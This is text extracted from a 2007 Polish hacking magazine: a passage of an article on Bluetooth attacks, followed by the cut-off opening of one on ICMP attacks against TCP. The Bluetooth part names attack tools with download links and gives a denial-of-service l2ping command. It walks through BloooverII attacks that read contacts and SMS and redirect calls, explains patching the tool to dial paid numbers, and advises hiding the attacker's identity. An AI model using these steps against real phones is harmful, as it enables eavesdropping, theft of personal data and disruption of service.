tów: adres BD_ADDR: adres fizycz-
ny poszczególnego urządzenia (swe-
go rodzaju MAC Address), klucz ko-

dujący (8-128 bit), klucz połączenia
(128 bit), liczby pseudolosowe (128
bit), algorytmy służące do genero-

wania kluczy (E0, E21, E22, itd.).

Jak widzicie, łatwo jest odnaleźć

wszystkie te elementy na czterech
poziomach.

Teraz zobaczymy gdzie znajdu-

ją się słabości tego mechanizmu.
Pierwsza i najbardziej oczywista
tkwi w mechanizmie pairingu, któ-
ry, jak zostało to opisane, przewidu-
je wprowadzenie pinu. Jeśli pin zo-
stał określony w samym urządzeniu
można wręcz przeprowadzić atak

online typu brute-force (tj. bezpo-
średnio przeciwko urządzeniu ofia-
ry). Natomiast w przypadku słabe-
go pinu, można dokonać ataku of-

fline (nie bezpośrednio przeciwko
urządzeniu ofiary), tzw. ataku prze-

ciwko E22: w skrócie, „rejestruje” się

ruch na wszystkich 79 kanałach wy-
korzystując odpowiednie narzędzie,
a następnie, offline, testuje się roz-
maite klucze połączeniowe wygene-
rowane przy zastosowaniu rozma-
itych pinów. Taki atak jest dość kosz-
towny za sprawą potrzebnego oprzy-
rządowania.

Aby bronić się przed tego typu

atakiem jest dobrą normą stosowa-
nie długich i trudnych do odgadnięcia
pinów oraz wykonywanie pairingu w
miejscach uznawanych za bezpiecz-
ne. Jednakże i bezpieczeństwo osią-
gnięte w taki sposób jest względne,
gdyż, jak zostało to udowodnione,
dzięki prostej modyfikacji Bluetooth

dongle można dokonać ataku nawet
z odległości przekraczającej 1,5 km.
Wspaniały przykład daje nam grupa
trifinite, której URL został zamiesz-
czony w sekcji linków tego artykułu.

Poza tym istnieje szereg słabości

na poziomie aplikacji, o których bę-
dziemy mówić w dalszej części tego
artykułu. Te zależą bardziej od spe-
cyficznych implementacji zastoso-
wanych przez producentów, niż od
bugów w projektowaniu protokołów.

Techniki ataku

na Bluetooth

Mimo że jestem pasjonatem niemal-
że wszystkiego co przyniosła tech-
nologia w ciągu minionych lat, nie

zaliczam się do grona pierwszych
uzależnionych od urządzeń przeno-
śnych. Mówiąc szczerze, moja cie-
kawość została obudzona lekturą
artykułu opublikowanego w jakimś
dzienniku noszącego tytuł Kiedy bo-

li ząb..., który traktował o toothingu,
czyli o tym jak wykorzystując proto-
kół Bluetooth można wysyłać wiado-
mości do osób kompletnie nam nie-
znanych, a posiadających Bluetooth
device włączony i dyspozycyjny, w
promieniu kilku metrów. Początkowo
najbardziej uderzył mnie aspekt spo-
łeczny tego artykułu, lecz po chwi-
li refleksji otworzyły się przede mną
scenariusze znacznie bardziej roz-
ległe, w których mało ostrożni użyt-
kownicy są oszukiwani na tysiąc

Rysunek 1.

Funkcjonowanie stosu

protokołów Bluetooth

��

Rysunek 2.

Ostateczny schemat stosu protokołów

��

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

i jeden sposobów przez jakiegoś
przygodnego maniaka. To właśnie
od tego momentu zacząłem zgłębiać
dokumentacje związane z rozmaity-
mi typologiami ataku i obrony. Spró-
bujmy je wspólnie przeanalizować.

Bluejacking

Jak wcześniej wspomniałem, zacie-
kawiła mnie możliwość darmowe-
go komunikowania się za pośrednic-
twem systemu wiadomości z osoba-
mi kompletnie obcymi, które jednak
posiadają aktywne urządzenie Blu-
etooth w promieniu kilku metrów.
Jak to możliwe? Trzeba pamiętać,
że w fazie discovery innych urzą-
dzeń, zostaje przekazana nazwa
identyfikująca urządzenia. Nie jest
ona niczym innym jak polem teksto-
wym. Wyobraźmy sobie teraz, że po-
le tekstowe zawiera coś w rodzaju:

Problemy sieciowe, proszę wybierz

1234. Oczywiście 1234 to pin który
uprzednio wystukaliśmy na naszym
urządzeniu. Nieświadomy użytkow-
nik wystuka pin i tym samym do-
pełni pairingu. A my dokonamy ata-
ku bluejacking (termin ten począt-
kowo był wykorzystywany na okre-
ślenie wszystkich ataków na proto-
kół Bluetooth). Ten typ ataku, mają-
cy swe źródło w inżynierii socjalnej,

jest pod wieloma względami bardzo
podobny do ataku określanego mia-
nem phishing.

Poza tą empiryczną procedurą,

istnieje wiele darmowych narzędzi,
które także pozwalają na dokonanie
tego ataku.

Oto niektóre z nich: Freejack (http:

//www.bluejackq.com/freejack.jar),
SMAN (http://www.bluejackq.com/

sman13a-eng.zip), Mobiluck (http:

//www.mobiluck.com/download-Blu-

etooth-software-all-phones-en.php),
Easyjack

(http://www.getjar.com/

products/2758/EasyJack)

Internet pełen jest narzędzi przy-

stosowanych do tego celu, tu zosta-
ły wymienione tylko niektóre z nich.
Trzeba pamiętać, że rodzaj narzę-
dzia zależy także od stosowanego
telefonu komórkowego.

Discovery mode abuse

W przypadku większości urządzeń
dostępnych na rynku możliwe jest,
po włączeniu, ustalenie czy usłu-
ga Bluetooth ma być widoczna czy

ukryta. To co się wówczas dzieje w
trybie ukrytym polega na niczym in-
nym jak na odrzucaniu przez urzą-
dzenie wszelkich żądań inquiry po-
chodzących w broadcast od innych
aparatów Bluetooth. Tak więc usługi

nie zostają całkowicie dezaktywowa-
ne, lecz jedynie odrzucane są żąda-
nia kierowane do SDP. Poza tym, jak
już powiedzieliśmy, każde urządze-
nie posiada swój BD_ADDR: skła-
da się z 48 bitów, z których pierw-
sze 24 zależą wyłącznie od produ-
centa (swego rodzaju vendor code),
są więc stałe. Z pozostałych jedynie
ostatnich 6 bitów identyfikują w spo-
sób jednoznaczny urządzenie, jako
że służą do identyfikacji typu urzą-
dzenia (komórka, dongle, słuchaw-
ka, itd.). Dlatego nie jest wcale rze-
czą trudną wykrycie urządzenia Blu-
etooth, także w trybie ukrytym. Rze-
czywiście, z punktu widzenia obli-
czeniowego, można odnaleźć bity
zmienne w czasie niewiele dłuższym
niż jedna godzina.

Narzędzia służące do takiej ope-

racji, w chwili redagowania niniejsze-
go artykułu, są dostępne tylko pod
Linuksem. Są to:

• Redfang (http://www.securitywir

eless.info/Downloads-index-req-

getit-lid-41.html),

• Bluesniff

(http://

bluesniff.shmoo.com/bluesniff-

0.1.tar.gz).

Redfang jest narzędziem linii pole-
ceń zrealizowanym przez @Stake,
aktualnie stanowiącym część Sy-
manteca, i stanowi POF (Proof Of
Concept) techniki ataku już opisa-
nej. Bluesniff to front-end graficzny
do Redfang.

Blueprinting

Jest rodzajem nmap w odniesieniu
do Bluetooth. Technika ta pozwa-
la na uzyskanie informacji technicz-
nych o badanym urządzeniu, wyko-
nując matching uzyskanych charak-
terystyk z tymi obecnymi w uaktu-
alnionej bazie danych. Także w tym
przypadku istnieje narzędzie pod Li-
nuksa obsługiwane z linii poleceń:

• Blueprint

(http://trifinite.org/

Downloads/bp_v01-3.zip)

Także Redfang, przedstawiony we
wcześniejszym paragrafie, zajmuje
się blueprintingiem.

Rysunek 3.

Diagram funkcjonalny protokołu Bluetooth

��

hakin9 Nr 3/2007

www.hakin9.org

Atak

Bluesnarf

Jest atakiem wywodzącym się z wa-
dliwej implementacji specyfikacji
wielu telefonów komórkowych (licz-
ne modele Ericsson, Sony-Ericsson,
Nokia, Siemens, Motorola). Z bar-
dziej szczegółowym wykazem urzą-
dzeń peryferyjnych w to zamiesza-
nych można zapoznać się tu: http:

//www.thebunker.net/security/Blu-

etooth.htm.

Lecz na czym polega ten atak?

Na niczym innym jak na łączeniu się
z usługą OBEX Push (często wyko-
rzystywana w celu wymiany elektro-
nicznych wizytówek). Wadliwa imple-
mentacja w niektórych telefonach ko-
mórkowych pozwala, poza otrzymy-
waniem wizytówek, także na OBEX

Get, czyli na żądanie pliku. Tzn., je-
śli wiem że na komórce ofiary jest
obecny plik chcęgo.jar, to mogę go
ściągnąć przeskakując fazę autenty-
fikacji. Często nie trzeba nawet znać
ścieżki pliku w systemie, ponieważ
wiele aparatów zapamiętuje infor-
macje odnoszące się do systemu pli-
ków w pliku tekstowym, którego loka-
lizacja jest znana a priori, gdyż zale-
ży od systemu. Na przykład, komór-
ki Ericsson i Sony-Ericsson pierw-
szej generacji zapisują książkę tele-
foniczną w telecom/pb.vfc, a kalen-
darz w telecom/calc.vcs.

W celu dokonania tego typu

ataku wystarczy jakikolwiek client
OBEX. Oto niektóre:

• obexftp (http://openobex.triq.net/

obexftp/installing),

• obex-commander

(http://intradarma.com/

OBEXCommander.html).

Pierwszy z tych dwóch clientów jest
pod Linuksa, drugi pod Windows.

Bluesnarf++

Bardzo podobny do Bluesnarf, lecz
pozwala na pełen dostęp w zakresie
odczytu/zapisu do systemu plików,
bez konieczności pairingu.

Tu znajdziecie narzędzie do reali-

zacji tego rodzaju ataku:

• Bluediving (http://bluediving.sour-

ceforge.net/)

To narzędzie jest prawdziwą suite,
jest niezmiernie użyteczne w celu
wykonania bardzo złożonych pen-
testów. Na stronie znajduje się cały
szereg innych, na prawdę użytecz-
nych narzędzi.

Bluebug

Także ta słabość wynika ze złej im-
plementacji niektórych specyfikacji i
jest obecna tylko w niektórych mo-
delach przenośnych urządzeń pe-
ryferyjnych. W odróżnieniu od Blu-
esnarf i Bluesnarf++, pozwala na
wykonanie poleceń AT na urządze-
niu ofiary. Tym razem problem doty-
czy usług na kanale RFCOMM nie
zgłoszonych przez SDP, lecz mimo
to wykorzystywanych.

W praktyce, atakujący może uzy-

skać pełen dostęp do telefonu ko-
mórkowego, zwłaszcza może: te-
lefonować, wysyłać, czytać i elimi-
nować SMS/MMS, czytać i pisać w
książce telefonicznej, zmieniać para-
metry konfiguracyjne.

Aby wykazać istnienie tej dziu-

ry, poza wcześniej wspomnianym
Bluediving, możemy wykorzystać
BloooverII (http://trifinite.org/trifinite_

stuff_bloooverii.html). Pozwala on
na przeprowadzenie także innych
ataków, m.in. Helomoto, w gruncie
rzeczy będącego połączeniem ata-
ków Bluesnarf i Bluebug: przerywa
otrzymywanie Vcard i, za sprawą
błędu implementacyjnego, urządze-
nie pozostaje w trybie trusted. Cie-
kawostka, nazwa wywodzi się z fak-
tu, że jest to słabość typowa dla sys-
temów Motorola.

Bluesmack

Jest to atak typu DOS, i nie jest ni-
czym innym jak Ping of Death w od-
niesieniu do Bluetooth. Polega na
zwiększaniu ponad miarę echo requ-
est (L2CAP ping) mającego być wy-
słanym w kierunku urządzenia ofia-
ry. Niektóre terminale odbierają da-
ne lecz jednocześnie generują błędy
blokując zupełnie komórkę (niektóre
Compaq iPaq, na przykład).

Możemy przeprowadzić nasze

próby bądź przy pomocy niezwykle
użytecznego szwajcarskiego scyzo-

ryka Bluediving bądź ściągając je-

dynie biblioteki Bluetooth dla Linux
Bluez (http://www.bluez.org/down-

load.html, wszelako niezbędne tak-
że dla Bluediving) i formatując od-
powiednio polecenie l2ping. W przy-
padku wielu modeli iPaq wystarczy
napisać:

l2ping -s <num_byte>
z <num_byte> większym lub równym 600.

Bluebump

Jest to atak inżynierii socjalnej. Ata-
kujący ustanawia połączenie trusted
z jakimś urządzeniem, na przykład
wysyłając Vcard i zmuszając odbior-
cę do autentyfikacji (Mode-3-Abu-

se). Atakujący podtrzymuje otwarte
połączenie i mówi ofierze by ta prze-
rwała połączenie ze swoim urządze-
niem peryferyjnym. Oczywiście ofia-
ra nie jest świadoma że połączenie
jest jeszcze aktywne. W tym mo-
mencie atakujący prosi by ponownie
został wygenerowany klucz połącze-
niowy. Tym samym posiada ofiarę na
swojej liście, nie musząc ponownie
przechodzić autentyfikacji. Atakują-
cy może połączyć się z ofiarą dopó-
ki ta nie wykasuje także tego nowe-
go klucza.

Bluedump

Wykorzystując sniffer Bluetooth,
można wykonać dumping pinów i nie-
których kluczy podczas sesji Blueto-
oth. Atakujący musi znać BD_ADDR
jakiejś pary urządzeń będących w
pairingu; w tym momencie atakujący

spoofuje (wciąż poprzez Bluediving,
jeśli to możliwe) BD_ADDR jednego
z dwóch urządzeń i łączy się z dru-
gim. Kiedy ofiara przechodzi do au-
tentyfikacji, zważywszy że atakują-
cy nie posiada klucza połączeniowe-
go, jego urządzenie odpowiada po-
przez 'HCI_Link_Key _Request_Ne-

gative_Reply' co, w niektórych przy-
padkach, prowadzi do wykasowania
klucza połączeniowego na urządze-
niu ofiary i do kolejnego pairingu z
atakującym.

Bluechop

Atak pozwalający obalić całą pico-
net. Urządzenie peryferyjne wzglę-
dem piconet spoofuje urządzenie

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

slave spoza piconetu a następnie
kontaktuje się z masterem tejże pi-
conet. Ponieważ protokół przewiduje
że slave przystąpi do piconetu sam
w następstwie żądania mastera, ten
gubi się i powoduje upadek picone-
tu. Także do tego ataku jest przydat-
ne narzędzie do spoofingu jak Blu-
ediving. To prawdopodobnie jedy-
ny atak na protokół Bluetooth który
nie wykorzystuje złych implementa-
cji stosu Bluetooth, ponieważ ude-
rza w urządzenia wszystkich produ-
centów.

Car whisperer

Atak na urządzenie peryferyjne Blu-
etooth audio wewnątrz samochodu.
Grupa trifinite.org przeprowadziła
go aby wyczulić producentów aut na
kwestie bezpieczeństwa urządzeń
peryferyjnych Bluetooth wewnątrz

pojazdu. Jako narzędzie do przepro-
wadzenia ataku carwhisperer (http:

//trifinite.org/trifinite_stuff_carwhi-

sperer.html) mogą posłużyć niektóre
spośród narzędzi dotychczas przez
nas poznanych, ewentualnie odpo-
wiednio zmodyfikowanych. Technika
ataku opiera się na fakcie, że urzą-
dzenia peryferyjne Bluetooth we-
wnątrz pojazdu posiadają gotowe
klucze, często wręcz znane ponie-
waż standardowe ('0000' lub '1234'
w przypadku wielu słuchawek i/lub
zestawów głośnomówiących). Efek-
tem ataku jest rejestrowanie rozmów
ofiary bądź transmisja audio fake
(fałszywe wiadomości o natężeniu
ruchu, itp.).

Worm

Kolejnym problemem Bluetooth jest
fakt jego wykorzystywania jako środ-

ka rozprzestrzeniania się niektórych
robaków. Przykładem jest Inqtana.A,
robak proof-of-concept wykorzystu-
jący do rozprzestrzeniania się tech-
nologię Bluetooth systemów Mac OS
X 10.4 (Tiger). Ten robak kopiuje się
na wszystkich urządzeniach widocz-
nych poprzez funkcjonalności OBEX
i się samowykonuje przy kolejnym
uruchomieniu systemu.

Istnieją także inne robaki (z któ-

rych wielu można uniknąć przy odro-
binie ostrożności) jak Cabir, Mabir i
inne.

Od teorii do praktyki

Zobaczymy teraz jak wprowadzić w
czyn część tego wszystkiego co wi-
dzieliśmy na poprzednich stronach.
Spośród rozmaitych egzaminowa-
nych programów użyjemy BloooverII
(http://trifinite.org/trifinite_stuff_blo-

Rysunek 6a.

Ustawianie głównych

parametrów

Rysunek 6b.

Ustawianie głównych

parametrów

Rysunek 6c.

Ustawianie głównych

parametrów

Rysunek 7.

Atak Bluebug

Rysunek 5.

Find devices

Rysunek 4.

Uruchamiamy BloooverII

hakin9 Nr 3/2007

www.hakin9.org

Atak

ooverii.html). Ataki, których możemy
spróbować to: bluebug, helomoto, blu-
esnarf, bluesnarf++ (tylko przy zasto-
sowaniu wersji Breeeder), wysyłanie
malformed objects poprzez OBEX.

BloooverII jest programem do

urządzeń przenośnych wykorzystu-
jących MIDP 2.0 (Mobile Informa-
tion Device Profile) i Bluetooth API
JSR-82.

Najpierw instalujemy Blooove-

rII (najlepiej wersję Breeeder, któ-
ra jak widzieliśmy umożliwia także
atak bluesnarf++). Przenosimy ją
na naszą komórkę za pomocą IR-
DA, USB lub samego Bluetooth a
następnie postępujemy zgodnie z
procedurą instalacyjną. Aktywuje-
my Bluetooth na naszym telefonie
komórkowym.

Ważna uwaga: jeśli nie zosta-

ło inaczej wskazane próbujmy za-

wsze jednego tylko typu ataku z
jedną tylko funkcją, w przeciw-
nym razie nasza komórka mogła-
by się zawiesić. Inna uwaga: nie-
kiedy program, w czasie ataku, sy-
gnalizuje nazwę komórki atakującej
(tak na przykład zdarza się w przy-
padku Nokii 6310i). Tak więc, jeśli
robicie kawał przyjacielowi, zmień-
cie nazwę waszego telefonu ko-
mórkowego w taki sposób aby nie
wskazywała bezpośrednio na was.
Wreszcie, jeśli atak nie uda się za
pierwszym razem, nie poddawajcie
się i spróbujcie jeszcze raz. Niekie-
dy trzeba powtórzyć atak kilkakrot-
nie, zanim zadziała poprawnie.

Teraz możemy uruchomić Blo-

ooverII i naszym oczom ukaże się ta-
ki oto widok (Rys. 4).

Próbujemy wykryć urządzenia

peryferyjne za pomocą Find devi-

ces (Rys. 5).

Znalazłszy urządzenia zabiera-

my się za ustawienie głównych pa-
rametrów (pamiętajcie, że należy je
ponownie ustawić po każdym uru-
chomieniu Blooover 2), jak zostało to
przedstawione na Rysunku 6.

Ustawiamy je dokładnie w ta-

ki sposób jak na Rysunku 6. Teraz
spróbujemy kilku ataków. Najpierw
Bluebug (zobacz Rysunek 7).

Na zrzutce ekranowej (Rys. 8)

znajdują się konfiguracje do ataku
Bluebug. Ustawmy je tak jak na ry-
sunku. Teraz zdecydujmy co chce-
my osiągnąć poprzez ten rodzaj ata-
ku (Rys. 9).

Po kolei (Rysunki 9a-e), zosta-

ły zilustrowane ataki pozwalają-
ce na odczytanie książki telefonicz-
nej, SMS-ów, na pisanie w książ-
ce telefonicznej, na przekierowy-
wanie

połączeń

telefonicznych

otrzymanych i na inicjalizowanie

Rysunek 9a.

Przebieg ataku Bluebug

Rysunek 9b.

Przebieg ataku Bluebug

Rysunek 9c.

Przebieg ataku Bluebug

Rysunek 9d.

Przebieg ataku Bluebug

Rysunek 9e.

Przebieg ataku Bluebug

Rysunek 8.

Konfiguracje do ataku

Bluebug

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

nowych. W tym momencie należy
coś doprecyzować. BloooverII nie
jest programemem dla hackerów,
przeciwnie, jest to POC (Proof of

Concept). Należy poczynić założe-

nie, że nie został pomyślany w ce-
lu wyrządzania szkód. Tak więc je-
dyne połączenie które można zreali-
zować to połączenie do darmowych
numerów. Teraz można zmodyfiko-

wać tę funkcję wykorzystując edy-
tor szesnastkowy (typu HHD Free
Hex Editor, można go ściągnąć tu:

http://www.hhdsoftware.com/free-

hex-editor.html). W praktyce wystar-
czy odpowiednio zmodyfikować plik
e.class znajdujący się wewnątrz Blo-
oover2b.jar. Po otwarciu archiwum
przy pomocy dowolnego programu
do obsługi skompresowanych archi-
wów (WinRAR bardzo dobrze się do
tego nadaje), e.class znajduje się w
org\trifinite\bloover2b. Oczywiście
informacje te nie zostają podane w
celu popełniania przestępstw, tak
więc zwracam uwagę na użytek ja-
ki z nich zrobicie.

Postępowanie związane z prze-

prowadzeniem innych ataków jest w
zasadzie podobne, tak więc możecie
spróbować ich sami. Chciałbym tylko
dodać, że niekiedy przy urachamia-
niu ataku Helomoto BloooverII bloku-
je się. W takim przypadku powtarza-
my operację uruchamiając Helomo-
to razem z Bluebug.

Podsumowanie

Jak widzieliśmy w tym artykule,
istnieje wiele różnorodnych tech-
nik ataku na protokół, bazują one
w znacznej mierze na naiwno-
ści użytkowników lub na złych im-
plementacjach stosu Bluetooth ze
strony poszczególnych producen-
tów. Oczywiście, wszystko cze-
go nauczyliśmy się w tym arty-
kule powinno służyć pomocą w
obronie naszej prywatności, a nie
w celu naruszania tejże w odnie-
sieniu do osób trzecich! Pamię-
tajmy, roztropne zachowanie jest
najlepszą obroną przeciwko za-
grożeniom płynącym z każdej sie-
ci, także z sieci Bluetooth. Wykaz
wszystkich telefonów komórko-
wych posiadających zainstalowane
Java Bluetooth API znajduje się tu:

http://www.j2mepolish.org/devices/

devices-btapi.html

Szczególność tego oprogramo-

wania polega na tym, że było pierw-
szym oprogramowaniem pozwala-
jącym na ataki, wcześniej były one
możliwe tylko przy wykorzystaniu
laptopa. l

O autorze

W Sienie ukończył Inżynierię Informatyczną, od 2001 wykonuje wolny zawód. Zajmu-
je się kształceniem, systemami i bezpieczeństwem w środowisku korporacyjnym. Jest
administratorem systemu, konsultantem w kwestiach prywatności, odpowiedzialnym
za bezpieczeństwo i systemy informatyczne wielu włoskich firm; poza tym pracuje ja-
ko wykładowca dla kilku spółek zajmujących się kształceniem, m.in Elea-De Agosti-
ni i Percorsi, i za ich sprawą zajmuje się kształceniem przedstawicieli najważniejszych
podmiotów w środowisku włoskim, jak Ministerstwo Sprawiedliwości, IBM, Alitalia i
in. Przeprowadził kilka konferencji na temat e-government dla władz Reggio Calabria
oraz posiada najprzeróżniejsze certyfikaty informatyczne, przeważnie na polu syste-
mów i bezpieczeństwa, lecz także na polu Office Automation.
W wolnym czasie jest trenerem i międzynarodowym arbitrem tenisowym.
Kontakt z autorem: www.ugolopez.it

W Sieci

• http://www.Bluetooth.com/ - oficjalna strona projektu,
• http://Bluetooth.interfree.it/ - strona na której wyjaśnia się w prosty sposób Blueto-

oth,

• http://www.eng.tau.ac.il/~yash/shaked-wool-mobisys05/ - atak przeciwko E22,
• http://trifinite.org/ - strona grupy trifinite,
• http://www.securiteam.com/tools/5JP0I1FAAE.html - źródło bluefang,
• http://www.betaversion.net/btdsd/ - Bluetooth Device Security Database,
• http://www.niksula.hut.fi/~jiitv/bluesec.html – pogłębione bezpieczństwo Blueto-

oth,

• http://ftp.vub.ac.be/~sijansse/2e%20lic/BT/Tools/Tools.html – narzędzia bezpie-

czeństwa Bluetooth,

• http://it.wikipedia.org/wiki/Bluetooth – strony wikipedii poświęcone Bluetooth,
• http://www.remote-exploit.org/index.php/BlueTooth – strona z bardzo dobrymi na-

rzędziami i informacjami o słabościach Bluetooth.

Terminologia

• POF (Proof of Concept): wykorzystywany w środowisku badawczym, jest to prak-

tyczny eksperyment potwierdzający teorię przedstawioną w ramach traktatu lub ar-
tykułu,

• Pentest (Penetration Test): są to testy przeprowadzane w odniesieniu do wszelkie-

go rodzaju sieci (a więc także i Bluetooth) w celu sprawdzenia ich rzeczywistego
bezpieczeństwa,

• AT: skrót od Attention, są to polecenia pozwalające na pełne przejęcie kontroli nad

telefonem komórkowym,

• DOS (Denial of Service): to zmasowany atak na usługę stawiający sobie za cel wy-

łącznie jej crash i uczynienie jej nieosiągalną,

• Ping of Death: ping śmierci bierze swą nazwę od dawnej słabości Windows 95,

który zawieszał się otrzymawszy polecenie ICMP (ping właśnie) źle sformatowa-
ne,

• Piconet: sieć Bluetooth w formie gwiazdy, w której jedno urządzenie zachowuje się

jako master inne natomiast jako slave. To samo urządzenie może być masterem
jednej sieci i jednocześnie slave innej sieci. Połączenie wielu piconetów nazywa
się scatternet.

www.hakin9.org

hakin9 Nr 3/2007

Atak

odstawową wadą protokołu ICMP (Inter-

net Control Message Protocol) jest brak
autoryzacji wysyłanych komunikatów.

Specyfikacja nie wymaga sprawdzania, czy ko-
munikaty ICMP pochodzą z właściwego źró-
dła, natomiast niektóre rozwiązania wprowa-
dzające autoryzację nigdy nie zostały przyję-
te jako standard. Stwarza to możliwość zdalne-
go przerywania połączeń TCP lub zmniejsze-
nia ich szybkości do bardzo niskiego poziomu.
Atak tego rodzaju może być przeprowadzony w
bardzo krótkim czasie bez potrzeby podsłuchi-
wania sesji TCP.

Jak działa ICMP?

ICMP jest powszechnie wykorzystywanym pro-
tokołem, służącym do informowania o proble-
mach z siecią oraz do wykonywania działań dia-
gnostycznych. Protokół używa do tego celu trzy-
dziestu różnych komunikatów. Jest niezbędny do
poprawnego i optymalnego funkcjonowania pro-
tokołów warstwy transportowej. Najbardziej zna-
nym komunikatem jest echo request, wykorzysty-
wany przez polecenie ping do sprawdzania do-
stępności maszyny w sieci. W tym artykule skupi-
my się jedynie na kilku komunikatach związanych
z raportowaniem problemów sieciowych.

Komunikaty ICMP mogą być generowa-

ne zarówno przez połączone ze sobą ma-
szyny, jak i routery pośredniczące w trans-
misji. Przykładowo, jeśli router pośredniczą-
cy wykryje zerową wartość pola TTL (Time

to Live) w nagłówku pakietu IP, wyśle ko-
munikat ICMP (typu Time exceeded, wy-
korzystywany także przez narzędzie trace-

route do wykrywania adresów maszyn po-
średniczących w połączeniu) do nadaw-

Ataki na protokół TCP z

wykorzystaniem ICMP

Marcin Ulikowski

stopień trudności

ICMP jest protokołem wykorzystywanym głównie w diagnostyce

sieci oraz podczas trasowania pakietów. Został opracowany

ponad dwadzieścia lat temu i od tamtej pory nie wprowadzono w

nim żadnych poprawek. Problemy związane z brakiem procedur

sprawdzających wiarygodność otrzymywanych pakietów czynią

ten protokół niebezpiecznym narzędziem.

Z artykułu dowiesz się...

• na czym polega atak na protokół TCP z wyko-

rzystaniem komunikatów ICMP,

• w jaki sposób przeprowadzić przykładowy atak

z wykorzystaniem protokołu ICMP,

• jak zabezpieczyć system przed atakiem tego

rodzaju.

Co powinieneś wiedzieć...

• znajomość podstawowych informacji na temat

protokołów sieciowych i komunikacji w Interne-
cie,

• znajomość elementów nagłówka IP oraz TCP.

Ataki na protokół TCP

hakin9 Nr 3/2007

www.hakin9.org

cy pakietu informując o tym
fakcie. Komunikaty ICMP zawie-
rają także opcjonalny kod błędu
umożliwiający dokładniejsze okre-
ślenie przyczyny problemu. Pozo-
staje otwartym pytanie, skąd sys-
tem operacyjny ma wiedzieć, któ-
rego połączenia dotyczy otrzyma-
ny komunikat? Pakiety ICMP in-
formujące o problemie sieciowym
zawierają także początkowy frag-
ment pakietu, który jako pierwszy
wywołał błąd. Fragment ten zawie-
ra nagłówek IP oraz przynajmniej
64 bitów (8 oktetów) nagłówka war-
stwy wyższej (w naszym przypad-
ku TCP). W załączonym nagłów-
ku IP znajduje się adres nadawcy
oraz odbiorcy. Osiem oktetów na-
główka TCP przenosi informacje o
porcie źródłowym i docelowym, a
także numer sekwencyjny pakie-
tu. Odbiorca na podstawie tych da-
nych może bez problemu określić
sesję, której dotyczy przesłany ko-
munikat.

Komunikaty ICMP przenoszą

kody błędów określane jako twar-
de (hard error) oraz miękkie (soft

error). Po otrzymaniu komunikatu z
twardym kodem błędu (oznaczające-
go problem, którego nie można roz-
wiązać w krótkim czasie), połącze-
nie TCP musi zostać zerwane, na-
tomiast w przypadku kodu miękkiego
może być kontynuowane. W dalszej
części skupimy uwagę tylko na twar-
dych komunikatach, ponieważ nad-
użycie komunikatów tego rodzaju
jest wykorzystywane podczas ataku.

Określanie optymalnego MTU

Fragmentacja pakietów IP jest uwa-
żana za zjawisko niepożądane z
punktu widzenia wydajności, stąd
wiele implementacji stara się jej za-
pobiegać. Jak dotąd nie jest znany

szybki i niezawodny sposób określe-
nia maksymalnej jednostki danych
(Maximum Transmission Unit – wiel-
kość określająca maksymalny roz-
miar pakietu, jaki może zostać prze-
słany bez potrzeby jego fragmenta-
cji) jeszcze przed nawiązaniem po-
łączenia. RFC-1191 określa mecha-
nizm wykrywania optymalnego MTU
(zwany Path MTU Discovery) opiera-
jący się na metodzie prób i błędów.
Polega on na wysyłaniu pakietów z
ustawioną flagą IP DF (Don't Frag-

ment) i nasłuchiwaniu komunikatów
ICMP informujących o zbyt dużym
rozmiarze pakietu i braku możliwo-
ści jego fragmentacji (Fragmenta-

tion needed and DF set). Taki komu-
nikat będzie także zawierał informa-
cję o sugerowanym rozmiarze MTU
(w 16 bitach po prawej stronie pola

unused widocznego na Rysunku 1).
Jeśli taki komunikat nadejdzie, roz-
miar pakietu zostaje zmniejszony do
odpowiednio niższej wielkości i na-
stąpi ponowna próba jego wysłania.
Rozwiązanie to, chociaż nie jest ide-
alne, pozwala dosyć szybko ustalić
MSS (Maximum Segment Size czy-
li maksymalny rozmiar segmentu da-
nych) dla połączeń TCP.

Ślepe ataki ICMP

Ataki z wykorzystaniem protokołu
ICMP są określane jako ślepe (ang.

blind), ponieważ do ich przeprowa-
dzenia nie jest wymagane podsłu-
chiwanie (tak zwany sniffing) sesji
TCP. Są więc one proste do zreali-
zowania. Potrzebujemy jedynie infor-
macji o czterech parametrach atako-
wanego połączenia:

• adres IP nadawcy,
• adres IP odbiorcy,
• port źródłowy,
• port docelowy.

Numery portów zawarte są w zakre-
sie od 0 do 65535. Jesteśmy w sta-
nie przewidzieć numer portu doce-
lowego (na przykład port 22 dla po-
łączeń SSH), natomiast numer por-
tu źródłowego pozostaje dla nas
nieznany. Nie stanowi to jednak
większego problemu. Wiemy, że
systemy operacyjne używają por-
tów z zakresu 1024-4999 (w zależ-
ności od systemu może to być jesz-
cze mniejszy zakres) dla połączeń
wychodzących. Przy użyciu łącza
o przepustowości 1Mbps, wysła-
nie pakietów ICMP z każdym moż-
liwym portem źródłowym (zawar-
tym w opcjonalnych danych) z te-
go zakresu będzie wymagało śred-
nio dwóch sekund.

Aby zerwać konkretne połącze-

nie, atakujący musi wysłać do któ-
rejkolwiek ze stron połączenia twar-
dy komunikat ICMP z odpowiadają-
cymi mu numerami portów. Jednym
z komunikatów ICMP należących do
grupy komunikatów twardych jest

Destination Host Unreachable (nie-
osiągalność miejsca przeznacze-
nia). Istnieje 16 różnych kodów błę-
du przypisanych do tego typu komu-
nikatu, jednak nas interesują tylko
trzy z nich:

• protocol unreachable (nieobsłu-

giwany protokół) – kod 2,

• port unreachable (nieobsługiwa-

ny port) – kod 3,

• fragmentation needed and DF

set (wymagana fragmentacja)
- kod 4.

Powyższe kody błędu komunika-
tu typu trzeciego (Destination Host

Unreachable) protokołu ICMP wy-
korzystamy do przeprowadzenia
przykładowych ataków na połącze-
nia TCP. Posłużymy się w tym celu

O autorze

Zajmuje się on bezpieczeństwem sieci
i systemów komputerowych. Niekiedy
„bawi się” w programistę, tworząc coś,
co ma być przydatne, ale różnie z tym
bywa. Na co dzień student drugiego ro-
ku informatyki.
Kontakt z autorem: elceef@itsec.pl

Rysunek 1.

Nagłówek pakietu ICMP dla komunikatów informujących o

problemach w sieci

hakin9 Nr 3/2007

www.hakin9.org

Atak

dwoma komputerami połączonymi w
sieci lokalnej oraz programami, któ-
rych autorem jest Fernando Gont.
Wygenerują one dla nas odpowied-
nie pakiety.

Powolne połączenie

Wspomniany wcześniej mechanizm
wykrywania optymalnego rozmiaru
MTU wykorzystuje pakiety ICMP z
komunikatem Destination Host Unre-

achable oraz twardym kodem błę-
du (traktowanym jako twardy tylko w

